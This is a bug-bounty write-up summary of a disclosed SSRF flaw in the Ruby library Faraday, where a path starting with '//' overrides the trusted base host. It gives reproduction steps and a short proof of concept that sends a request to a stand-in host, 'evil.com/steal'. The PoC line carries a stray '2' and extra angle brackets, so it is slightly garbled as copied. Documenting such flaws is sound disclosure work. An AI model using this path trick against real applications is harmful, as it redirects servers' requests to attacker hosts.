# How Neo found an SSRF vulnerability in Faraday, and why it matters for every team that ships code

Faraday's build_exclusive_url allowed a caller-supplied path starting with // to override the trusted base host, enabling SSRF to attacker-chosen destinations.

- Payout: Research
- Severity: medium
- Program: Faraday
- Write-up by: Neo
- Disclosed: 2026-03-03
- CVE: CVE-2026-25765
- Write-up quality: 6/10
- Original: https://projectdiscovery.io/blog/how-neo-found-an-ssrf-vulnerability-in-faraday-and-why-it-matters-for-every-team-that-ships-code
- Library page: https://bugbountylibrary.com/r/blog%3Aprojectdiscovery-io-blog-how-neo-found-an-ssrf-vulnerability-in-faraday-and-why-it-matters-for-every-team-that-ships-cod
- Tags: area:oss domain:oss impact:internal-access kind:research platform:research sev:medium tech:ruby technique:parser-differential technique:source-review vuln:ssrf

**Target:** Ruby HTTP client library URL builder (build_exclusive_url in connection.rb)
**Root cause:** The guard against absolute-URL overrides only rejected full absolute URLs while intentionally allowing inputs starting with '/'; a protocol-relative URL like //evil.com passes that check but URL resolution treats it as a host, inheriting the base scheme.
**Steps:**
1. Instantiate a connection with a trusted base: `conn = Faraday.new(url: 'https://api.internal.com')`
2. Pass a caller-controlled path beginning with two slashes: `conn.get('//evil.com/steal')`
3. Observe the resolved request URL becomes `https://evil.com/steal`, sending the server's request to the attacker host
**How found:** Instead of pattern-matching dangerous calls, mapped the codebase and focused on URL-building/request-routing files (connection.rb), looking for the choke point combining a trusted base URL with a caller path; noticed the 'starts with /' allowlist and reasoned about how URL libraries interpret protocol-relative //host forms.
**Exploitation:** Any application that lets user input flow into the path argument of a Faraday request against a fixed base URL can be steered to arbitrary external hosts, leaking request contents or reaching attacker infrastructure; impact requires attacker influence over the path value.
**Insight:** When a library guards against absolute-URL override by checking the input's prefix, test protocol-relative forms (//host) and scheme-relative variants: they pass path-style allowlists but URL resolution treats them as authority/host, silently swapping the destination.

## Proof of concept (copied exactly from the original report)

**Minimal Faraday SSRF trigger with double-slash path**

```
conn = Faraday.new(url: '<https://api.internal.com>')
2conn.get('//evil.com/steal')
```

